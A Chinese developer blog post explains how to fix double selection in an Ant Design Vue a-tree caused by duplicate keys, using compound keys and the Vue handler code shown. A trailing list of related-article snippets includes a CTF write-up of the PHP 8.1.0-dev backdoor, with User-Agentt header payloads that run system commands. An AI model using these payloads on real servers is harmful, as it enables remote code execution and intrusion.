antd-vue a-tree 当两个不同一级下二级key相同的时候就会导致两个同时选择, 拿到node.parent的数据也会出问题, 解决办法

一、问题如下图:

当两个不同一级下二级key相同的时候就会导致两个同时选择, 同时拿到node.parent的数据也会出问题, 出现一下问题的原因是因为数据treeData 的key出现相同的了

然后如下图、因为我的查询条件 第二层是给 cloud , 第二层是给 relatedPool ,第三层是给conflictDomain, 第四层是给type,然而a-tree绑定的值不能成层级的形式,一直都是

['当前选中的值'], 然后每层下面还有相同的 key , 就会导致上面的问题

 

二、解决办法

就是让后端将key的值改为 cloud + '_' + relatedPool + '_' + conflictDomain + '_' + type的形式,

然后通过点击拿到当前点击的key, 在进行处理赋值给请求参数,代码如下

<template><div class="tree-warp"><a-treev-model:selectedKeys="state.selectedKeys":loading="true":expanded-keys="state.expandedKeys"@expand="handleExpand":tree-data="state.treeData"@select="handleClickTree"></a-tree><div v-show="state.treeLoading" class="loading" style="width: 160px; height: 160px; display: flex; justify-content: center; align-items: center"><a-spin></a-spin></div></div>
</template><script setup>const state = reactive({queryFlag: 'conflict',tableLoading: false,treeLoading: false,selectedKeys: [],expandedKeys: ['0'],form: {isDesc: false,cloud: '',conflictDomain: '',relatedPool: '',type: '',value: '',purpose: '',ticket: '',state: null},
}// 同级只能展开一个
const handleExpand = (keys, { expanded, node }) => {const tempKeys = ((node.parent ? node.parent.children : treeData) || []).map(({ key }) => key);if (expanded) {state.expandedKeys = difference(keys, tempKeys).concat(node.key);} else {state.expandedKeys = keys;}// state.expandedKeys = keys;
};// 点击树节点
const handleClickTree = (value, { node }) => {resetForm();if (value.length) {let resultKeys = value[0].split('_');if (node.level == 1) {state.form.cloud = resultKeys[0];} else if (node.level == 2) {state.form.cloud = resultKeys[0];state.form.relatedPool = resultKeys[1];} else if (node.level == 3) {state.form.cloud = resultKeys[0];state.form.relatedPool = resultKeys[1];state.form.conflictDomain = resultKeys[2];} else if (node.level == 4) {state.form.cloud = resultKeys[0];state.form.relatedPool = resultKeys[1];state.form.conflictDomain = resultKeys[2];state.form.type = resultKeys[3];}getListFn();}
};
</script>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/17808.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

内存泄漏面面谈

概述 主要介绍了内存泄漏的关注点是对象&#xff0c;对内存问题进行了分类并且确定本文关注点是内存泄漏&#xff0c;15种内存泄漏判断方式&#xff0c;hprof文件的用法和分析过程&#xff0c;以及memory profiler工具一些基本概念&#xff0c;最后提到了如何触发内存泄漏问题…

企业文件加密软件有哪些?企业文件加密软件排名榜一

企业文件加密软件有哪些&#xff1f;企业文件加密软件排名榜一 企业文件加密软件在市场上种类繁多&#xff0c;尤其是2024年的市场&#xff0c;很多新生加密软件也出现了&#xff0c;那么排在榜一的是哪款加密软件呢&#xff1f; 1、安企神软件&#xff1a; 这款软件支持7天试用…

YOLOv8猫狗检测:从SwanLab可视化训练到Gradio Demo网站

基于YOLO模型在自定义数据上做训练&#xff0c;实现对特定目标的识别和检测&#xff0c;是CV领域非常经典的任务&#xff0c;也是AI项目落地最热门的方向之一。 这篇文章我将带大家使用Ultralytics、SwanLab、Gradio这两个开源工具&#xff0c;完成从数据集准备、代码编写、可…

第十八节:带你梳理Vue2: Vue组件中的注意事项和特例

1. Vue组件名推荐使用驼峰命名 现在我们来看看为什么在Vue中推荐注册组件时使用驼峰写法, 在了解这个之前,相信大家应该都能明白为什么在Vue中, 局部组件的使用频率高于全局组件. 推荐使用驼峰写法也是和局部组件有关系 我们先看一个示例 <div id"app"><…

2、PHP 8.1.0-dev 后门远程命令执行漏洞复现

1、青少年ctf&#xff0c;题目PHP后门 2、页面 3、bp抓包发现PHP版本为8.1.0-dev 4、尝试使用以前爆出过的漏洞&#xff08;网上查相关案例&#xff09; User-Agentt: zerodiumvar_dump(5*5); User-Agentt: zerodiumsystem("cat /flag"); 5、查找flag User-Agentt: z…

双向带头链表实现

目录 一. 逻辑结构图解 1. 节点中存储的值 2.逻辑实现 二. 各种功能实现 1. 创建节点函数 2. 初始化哨兵位 3. 尾插 4. 头插 5. 尾删 6. 头删 7. 打印链表值 8. 查找数据&#xff0c;返回节点地址 9. 指定地址后插入节点 10. 删除指定地址节点 11. 销毁链表 三.…

JAVA云HIS医院系统源码 云HIS运维平台源码 融合B/S版电子病历系统,支持电子病历四级,saas模式

JAVA云HIS医院系统源码 云HIS运维平台源码 融合B/S版电子病历系统&#xff0c;支持电子病历四级&#xff0c;saas模式 HIS系统就是医院信息管理系统&#xff0c;HIS系统是整个医院信息化的核心&#xff0c;门诊、住院、药房、药库等都是由HIS系统来承载起来的&#xff0c;所以…

【Spring】深入学习AOP编程思想的实现原理和优势

【切面编程】深入学习AOP编程思想的实现原理和优势 前言AOP的由来及AOP与代理的关系AOP的实现方式详解静态代理动态代理 AOP的应用场景记录日志权限控制数据库事务控制缓存处理异常处理监控管理 AOP的底层实现全流程解析Spring AOP的简介动态代理的实现原理Spring AOP的实现原理…

rockeylinux 搭建k8s 1.28.10

1.关闭防火墙 systemctl stop firewalld systemctl disable firewalld 2.关闭selinux # 临时禁用selinux # 将 SELinux 设置为 permissive 模式&#xff08;相当于将其禁用&#xff09; setenforce 0 sed -i s/^SELINUXenforcing$/SELINUXpermissive/ /etc/selinux/config 3.网…

tinyrenderer-渲染器着色

整理了代码&#xff0c;创建了一个相机类&#xff0c;控制镜头 class Camera { public:Camera(Vec3f cameraPos, Vec3f target, Vec3f up):cameraPos_(cameraPos), target_(target), up_(up) {}Matrix getView();Matrix getProjection(); private:Vec3f cameraPos_;Vec3f targ…

2024年区块链,物联网与信息技术国际会议(ICBITIT 2024)

2024年区块链&#xff0c;物联网与信息技术国际会议&#xff08;ICBITIT 2024&#xff09; 2024 International Conference on Blockchain, Internet of Things, and Information Technology 会议简介&#xff1a; 2024年区块链&#xff0c;物联网与信息技术国际会议&#xff…

css样式,点击 箭头方向上下转换

实现效果&#xff1a; 点击切换箭头方向 实现代码 <divclass"modelPart"click"showClick"><div class"modelPart_left"><img:srcaidefalutIconclass"sNodeIcon"><div>{{ selectModel }}</div><div …

Scala的简单认识

Scala编程基础 小白的Scala学习笔记 2024/5/21 上午某一时刻 文章目录 Scala编程基础spark是用Scala开发出来的Scala的优点 打开idea 搜索scala&#xff0c;安装 如果不小心点了取消&#xff0c;或者没有上图的提示&#xff0c;就在依赖里面添加 spark是用Scala开发出来的 类比…

英语学习笔记21+23——Which book?/Which glasses?

Which book?/Which glasses? 哪本书&#xff1f;/哪些杯子&#xff1f; 词汇 Vocabulary give v. 给 搭配&#xff1a;Give me five! 击掌庆祝 用法&#xff1a;give 人 东西     give 东西 to 人    把……东西给某人 例句&#xff1a;把这些苹果给 Bobby.   …

元宇宙vr美术虚拟展馆激发更多文化认同和互鉴

科技引领创新潮流&#xff0c;借助前沿的Web3D技术&#xff0c;我们为用户打造了一个沉浸式的纯3D虚拟空间体验平台&#xff1a;元宇宙线上互动展厅。您只需通过网页即可轻松访问这个充满未来感的互动平台。 在这个独特的虚拟环境中&#xff0c;用户可以轻松创建个性化角色&…

缓存三问与缓存预热-如何预防缓存崩溃

一、缓存三剑客 &#xff08;图片来源&#xff1a;什么是缓存雪崩、击穿、穿透&#xff1f; | 小林coding&#xff09; 缓存穿透 (Cache Penetration) 又称"空缓存"指用户请求的数据在缓存和数据库中都不存在,导致每次请求都去查询数据库,给数据库带来巨大压力。解…

【深度学习】【NLP】词表,分词,嵌入

from transformers import AutoTokenizertokenizer AutoTokenizer.from_pretrained("prajjwal1/bert-tiny") tokenizer.save_pretrained("./bert-tiny/")input_string "Your input string here 我是中文" token_ids tokenizer.encode(input_s…

【PID算法详解】

PID算法 PID算法介绍用途pid数学表达式及其含义P算法D算法I算法 PID总结数学公式转换代码设计实际运用PID代码实现 PID算法介绍 PID控制器是一种广泛应用于工业控制系统的反馈控制器&#xff0c;它通过比例&#xff08;Proportional&#xff09;、积分&#xff08;Integral&am…

快写猪好用吗 #知识分享#笔记#学习方法

快写猪是一个非常好用的论文写作工具&#xff0c;它提供了强大的查重降重功能&#xff0c;帮助用户轻松完成论文写作任务。无论是在学术研究还是日常写作中&#xff0c;快写猪都能提供高效、准确的检测&#xff0c;确保文本的原创性和质量。 首先&#xff0c;快写猪的查重降重功…

c 系统宏有多少

在C语言中&#xff0c;系统宏&#xff08;也称为预定义宏或内置宏&#xff09;的数量并不是固定的&#xff0c;因为它们取决于C标准、编译器以及可能的其他因素。然而&#xff0c;有一些常见的预定义宏是几乎所有C编译器都支持的。 以下是一些常见的C预定义宏&#xff1a; __…